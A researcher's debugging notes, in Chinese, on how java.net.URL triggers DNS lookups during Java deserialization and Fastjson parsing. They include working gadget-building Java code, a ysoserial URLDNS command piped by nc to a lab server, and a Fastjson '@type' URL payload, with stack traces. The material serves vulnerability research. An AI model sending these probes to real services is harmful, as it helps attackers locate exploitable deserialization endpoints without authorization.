标题: 在Java反序列化过程中通过java.net.URL触发域名解析请求
创建: 2020-05-17 17:59 更新: 2020-05-18 14:22 链接: https://scz.617.cn/web/202005171759.txt
目录:
☆ 前言
☆ Serializable接口详解
9) URLDNS
9.1) HashMapURLDNS.java
9.2) 简化版调用关系
9.3) ysoserial.payloads.URLDNS
☆ Fastjson
10) Fastjson反序列化过程中触发域名解析请求
10.8) Fastjson_URL_DNS.json
10.9) 简化版调用关系
☆ 后记
☆ 参考资源
☆ 前言
参看
《Java RMI入门(5)》 https://scz.617.cn/network/202003241127.txt
有人提及Fastjson反序列化过程中用java.net.URL触发域名解析请求,另有人提及 ysoserial.payloads.URLDNS。这两件事我都是首次接触,调试跟踪一番,写点笔记。
之前系统地调试跟踪过Fastjson反序列化的三条攻击链及各种补丁绕过,也系统地调 试跟踪过ysoserial/CommonsCollections系列,这次没啥新东西。
☆ Serializable接口详解
9) URLDNS
9.1) HashMapURLDNS.java
/ * javac -encoding GBK -g HashMapURLDNS.java * java HashMapURLDNS "http://scz.dnslog.org" <0|1|2|3> / import java.io.; import java.util.HashMap; import java.net.; import java.lang.reflect.Field;
public class HashMapURLDNS { / * 返回待序列化Object,mode只是为了演示不同的数据准备方案。 / private static Object getObject ( String url, int mode ) throws Exception { Object obj = null;
switch ( mode )
{
case 0 :
obj = getObject_0( url );
break;
case 1 :
obj = getObject_1( url );
break;
case 2 :
obj = getObject_2( url );
break;
case 3 :
obj = getObject_3( url );
break;
default :
break;
}
return( obj );
}
/*
* 这个实现很ysoserial,参看CommonsCollections5、CommonsCollections6。
* 就本例而言,这种搞法不是最优解,但很通用,可以避免各种类的边界效应,
* 不只适用于URL。ysoserial并未采用这种方案。
*/
@SuppressWarnings("unchecked")
private static Object getObject_0 ( String url ) throws Exception
{
URL u = new URL( url );
HashMap hm = new HashMap( 1 );
/*
* 任意值,占位
*/
hm.put( "key", "value" );
Field f = HashMap.class.getDeclaredField( "table" );
f.setAccessible( true );
Object[] table = ( Object[] )f.get( hm );
/*
* 假设前面hm只put()了一次,此处取上来的table[]有两个元素,一个是
* key,另一个是null。这与HashMap在JDK 8中的底层实现相关。本例中一
* 般table[0]是我们要找的,但保险起见,还是这么写吧。
*/
Object node = table[0];
if ( node == null )
{
node = table[1];
}
Field k = node.getClass().getDeclaredField( "key" );
k.setAccessible( true );
k.set( node, u );
return( hm );
} /* end of getObject_0 */
/*
* 本质上同getObject_0()
*/
@SuppressWarnings("unchecked")
private static Object getObject_1 ( String url ) throws Exception
{
URL u = new URL( url );
/*
* 由于此处没有指定initialCapacity,后面必须用for循环寻找node
*/
HashMap hm = new HashMap();
hm.put( "key", "value" );
Field f = HashMap.class.getDeclaredField( "table" );
f.setAccessible( true );
Object[] table = ( Object[] )f.get( hm );
for ( Object node : table )
{
if ( node != null )
{
Field k = node.getClass().getDeclaredField( "key" );
k.setAccessible( true );
k.set( node, u );
break;
}
}
return( hm );
} /* end of getObject_1 */
/*
* ysoserial本质上采用这种方案,我做了一些改动,从而完全摒弃反射。
*/
@SuppressWarnings("unchecked")
private static Object getObject_2 ( String url ) throws Exception
{
URL u = new URL( null, url, new PrivateURLStreamHandler() );
HashMap hm = new HashMap();
/*
* hm.put()会触发如下调用:
*
* HashMap.put
* HashMap.hash
* URL.hashCode
* if (this.hashCode != -1)
* URLStreamHandler.hashCode
* URLStreamHandler.getHostAddress
* InetAddress.getByName
*/
hm.put( u, "any" );
return( hm );
} /* end of getObject_2 */
/*
* 这种方案只适用于URL
*/
@SuppressWarnings("unchecked")
private static Object getObject_3 ( String url ) throws Exception
{
URL u = new URL( url );
HashMap hm = new HashMap();
Field f = URL.class.getDeclaredField( "hashCode" );
f.setAccessible( true );
/*
* 只要不是-1即可
*/
f.set( u, 0 );
hm.put( u, "any" );
f.set( u, -1 );
return( hm );
} /* end of getObject_3 */
/*
* https://docs.oracle.com/javase/8/docs/api/java/net/URL.html
* https://docs.oracle.com/javase/8/docs/api/java/net/URLStreamHandler.html
*
* http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URL.java
* http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URLStreamHandler.java
*
* URLStreamHandler是抽象类,没有实现Serializable接口,缺省不会被序列
* 化出去。
*/
private static class PrivateURLStreamHandler extends URLStreamHandler
{
/*
* 这是个抽象方法,子类必须实现之
*/
protected URLConnection openConnection ( URL u ) throws IOException
{
return null;
}
@Override
protected int hashCode ( URL u )
{
return( -1 );
}
}
public static void main ( String[] argv ) throws Exception
{
String url = argv[0];
int mode = Integer.parseInt( argv[1] );
Object obj = getObject( url, mode );
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( bos );
oos.writeObject( obj );
ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() );
ObjectInputStream ois = new ObjectInputStream( bis );
ois.readObject();
}
}
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ HashMapURLDNS "http://scz.dnslog.org" 2
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in java.net.InetAddress.getByName(java.lang.String)
[1] java.net.InetAddress.getByName (InetAddress.java:1,077), pc = 0 [2] java.net.URLStreamHandler.getHostAddress (URLStreamHandler.java:442), pc = 34 [3] java.net.URLStreamHandler.hashCode (URLStreamHandler.java:359), pc = 20 [4] java.net.URL.hashCode (URL.java:902), pc = 19 [5] java.util.HashMap.hash (HashMap.java:339), pc = 9 [6] java.util.HashMap.readObject (HashMap.java:1,413), pc = 246 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [12] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [13] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [14] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [15] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [16] HashMapURLDNS.main (HashMapURLDNS.java:179), pc = 70
9.2) 简化版调用关系
参看:
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/io/ObjectInputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/util/HashMap.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URL.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URLStreamHandler.java
正常情况下HashMap.put(URL,"any")会触发InetAddress.getByName():
HashMap.put // 8u232 // key等于URL,value无所谓 HashMap.hash // HashMap:612 // putVal(hash(key), key, value, false, true) URL.hashCode // HashMap:339 // (h = key.hashCode()) ^ h >>> 16 if (this.hashCode != -1) // URL:899 // -1表示未设置过,需要计算后设置 // ysoserial.payloads.URLDNS通过反射将该字段设为-1 URLStreamHandler.hashCode // URL:902 // hashCode = handler.hashCode(this); // handler的类型是"sun.net.www.protocol.http.Handler" // 这是URLStreamHandler的子类 URLStreamHandler.getHostAddress // URLStreamHandler:359 // addr = getHostAddress(u) // u等于"http://scz.dnslog.org" InetAddress.getByName // URLStreamHandler:442 // hostAddress = InetAddress.getByName(host) // host等于"scz.dnslog.org" // 触发对"scz.dnslog.org"的域名解析请求
出于洁癖或其他什么理由,不想在数据准备阶段触发域名解析请求,从而有了 HashMapURLDNS.java演示的几种技术方案,以避免调用InetAddress.getByName()。
getObject_0()没有正常调用HashMap.put(URL,"any"),而是put("key","value"), 再通过反射将"key"改成URL,反射法并不会触发URL.hashCode()。
getObject_2()调了一个重载版的URL(),指定自己实现的handler,这个handler重载 了URLStreamHandler.hashCode(),直接返回-1,从而避免调用 URLStreamHandler.getHostAddress()。这是我修改过的方案,可以彻底避免反射。
getObject_2()这种搞法下的自定义handler没有实现Serializable接口,缺省不会被 序列化出去。反序列化时,URL.handler会在URL.readObject()中被填成 "sun.net.www.protocol.http.Handler",这是URLStreamHandler的子类。
ysoserial.payloads.URLDNS的数据准备方案本质上同getObject_2(),用了自定义 handler。它重载的是URLStreamHandler.getHostAddress(),直接返回null,不会调 用InetAddress.getByName()。但这个搞法仍会计算出URL.hashCode,所以它后面通 过反射将URL.hashCode恢复成-1。
getObject_3()初始化URL实例后通过反射将URL.hashCode先设成-1之外的值,比如0。 HashMap.put(URL,"any")触发URL.hashCode()时,由于URL.hashCode不等于-1,从而 直接返回URL.hashCode,不会去调用URLStreamHandler.hashCode()。然后 getObject_3()通过反射将URL.hashCode恢复成-1,将来反序列化时才会调用 URLStreamHandler.hashCode(),进而触发InetAddress.getByName()。
反序列化流程如下:
ObjectInputStream.readObject // 8u232
ObjectInputStream.readObject0 // ObjectInputStream:430
ObjectInputStream.readOrdinaryObject // ObjectInputStream:1572
ObjectInputStream.readSerialData // ObjectInputStream:2068
ObjectStreamClass.invokeReadObject // ObjectInputStream:2177
HashMap.readObject // ObjectStreamClass:1170
ObjectInputStream.readObject // HashMap:1410
// key = (K) s.readObject()
ObjectInputStream.readObject0 // ObjectInputStream:430
ObjectInputStream.readOrdinaryObject // ObjectInputStream:1572
ObjectInputStream.readSerialData // ObjectInputStream:2068
ObjectStreamClass.invokeReadObject // ObjectInputStream:2177
URL.readObject // ObjectStreamClass:1170
URL.getURLStreamHandler // URL:1301
cls = Class.forName(clsName) // URL:1197
// clsName等于"sun.net.www.protocol.http.Handler"
handler = (URLStreamHandler)cls.newInstance()
// URL:1206
// 这个handler是局部变量,不是this.handler
Hashtable.put // URL:1241
// handlers.put(protocol, handler)
// protocol等于"http"
// handler等于"sun.net.www.protocol.http.Handler"
ObjectStreamClass.invokeReadResolve // ObjectInputStream:2077
URL.readResolve // ObjectStreamClass:1260
URL.fabricateNewURL // URL:1337
URL.
9.3) ysoserial.payloads.URLDNS
参[52]
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
ysoserial.payloads.URLDNS存在的目的是探测目标系统有调用 ObjectInputStream.readObject()。
启动DNSLog:
python2 superdns.py -m udp -i 192.168.65.2
执行服务端:
java VulnerableServer 192.168.65.23 1314
执行客户端:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://scz.dnslog.org" | nc -n 192.168.65.23 1314
在DNSLog中会看到对"scz.dnslog.org"的域名解析请求。
☆ Fastjson
10) Fastjson反序列化过程中触发域名解析请求
10.8) Fastjson_URL_DNS.json
{ { '@type':"java.net.URL", 'val':'http://scz.dnslog.org' }:'a' }
java \ -cp "fastjson-1.2.68.jar:." \ FastjsonDeserialize Fastjson_URL_DNS.json
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.68.jar:." \ FastjsonDeserialize Fastjson_URL_DNS.json
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in java.net.URL.
[1] java.net.URL.
[1] java.net.InetAddress.getByName (InetAddress.java:1,077), pc = 0 [2] java.net.URLStreamHandler.getHostAddress (URLStreamHandler.java:442), pc = 34 [3] java.net.URLStreamHandler.hashCode (URLStreamHandler.java:359), pc = 20 [4] java.net.URL.hashCode (URL.java:902), pc = 19 [5] java.util.HashMap.hash (HashMap.java:339), pc = 9 [6] java.util.HashMap.put (HashMap.java:612), pc = 2 [7] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:602), pc = 2,641 [8] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,401), pc = 234 [9] com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer.deserialze (JavaObjectDeserializer.java:46), pc = 146 [10] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:688), pc = 194 [11] com.alibaba.fastjson.JSON.parseObject (JSON.java:396), pc = 141 [12] com.alibaba.fastjson.JSON.parseObject (JSON.java:461), pc = 87 [13] com.alibaba.fastjson.JSON.parseObject (JSON.java:569), pc = 102 [14] com.alibaba.fastjson.JSON.parseObject (JSON.java:536), pc = 10 [15] com.alibaba.fastjson.JSON.parseObject (JSON.java:524), pc = 7 [16] com.alibaba.fastjson.JSON.parseObject (JSON.java:513), pc = 6 [17] FastjsonDeserialize.main (FastjsonDeserialize.java:38), pc = 24
10.9) 简化版调用关系
JSON.parseObject // 8u232+1.2.68
// parseObject(InputStream is, Type type, Feature... features)
JSON.parseObject // JSON:513
JSON.parseObject // JSON:524
JSON.parseObject // JSON:536
JSON.parseObject // JSON:569
JSON.parseObject // JSON:461
DefaultJSONParser.parseObject // JSON:396
JavaObjectDeserializer.deserialze // DefaultJSONParser:688
DefaultJSONParser.parse // JavaObjectDeserializer:46
DefaultJSONParser.parseObject // DefaultJSONParser:1401
// parseObject(Map object, Object fieldName)
DefaultJSONParser.parse // DefaultJSONParser:285
// key = parse()
DefaultJSONParser.parse // DefaultJSONParser:1367
DefaultJSONParser.parseObject // DefaultJSONParser:1401
// parseObject(Map object, Object fieldName)
ParserConfig.checkAutoType // DefaultJSONParser:333
// typeName等于"java.net.URL"
IdentityHashMap.findClass // ParserConfig:1329
// 返回"java.net.URL"
// 预填充过一些类,不经反序列化处理
ParserConfig.getDeserializer // DefaultJSONParser:386
// 返回"com.alibaba.fastjson.serializer.MiscCodec"
MiscCodec.deserialze // DefaultJSONParser:395
// clazz等于"java.net.URL"
if (!"val".equals(lexer.stringVal())) // MiscCodec:251
// 检查"val"属性
DefaultJSONParser.parse // MiscCodec:261
// 返回"http://scz.dnslog.org",即"val"的值
// objVal = parser.parse()
if (clazz == URL.class) // MiscCodec:311
java.net.URL.
注意,此次MiscCodec.deserialze()只负责URL.
参[75],1.2.43将"java.net.URL"放入黑名单,但没有将"java.net.URL"从 IdentityHashMap中删除。在IdentityHashMap.findClass()之前有个黑名单检查,但 只在autoTypeSupport或expectClassFlag为true时检查。
java \ -Dfastjson.parser.autoTypeSupport=true \ -cp "fastjson-1.2.68.jar:." \ FastjsonDeserialize Fastjson_URL_DNS.json
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. java.net.URL at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1321)
☆ 后记
先看的Fastjson_URL_DNS.json调用栈回溯,之前未看ysoserial.payloads.URLDNS, 听说有个ysoserial/URLDNS,下意识想到HashMapURLDNS.java中模式0的方案。
ysoserial/URLDNS的实现跟ysoserial/CommonsCollections系列相比,前者水平明显 差点意思,后者炫技炫得我眼花。
ysoserial/URLDNS的作者在注释中提到,URL.handler是transient的,不会被序列化 出去。URL.writeObject()只调了ObjectOutputStream.defaultWriteObject(),确实 不会序列化transient成员,但这只是一方面。URL.handler的类型是 java.net.URLStreamHandler,这是个没有实现Serializable接口的抽象类,即使不 是transient的,也不会被序列化出去,可以放心大胆地自实现之。
ysoserial/URLDNS提供了自定义URL.handler,但它的套路不够好,最后还得反射修 正URL.hashCode。都自定义URL.handler了,换成HashMapURLDNS.java中的模式2不是 更爽?
HashMapURLDNS.java中的模式3是别人的方案,出于完备性考虑,一并演示。
☆ 参考资源
[52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包)
git clone https://github.com/frohoff/ysoserial.git
[75] fastjson blacklist https://github.com/LeadroyaL/fastjson-blacklist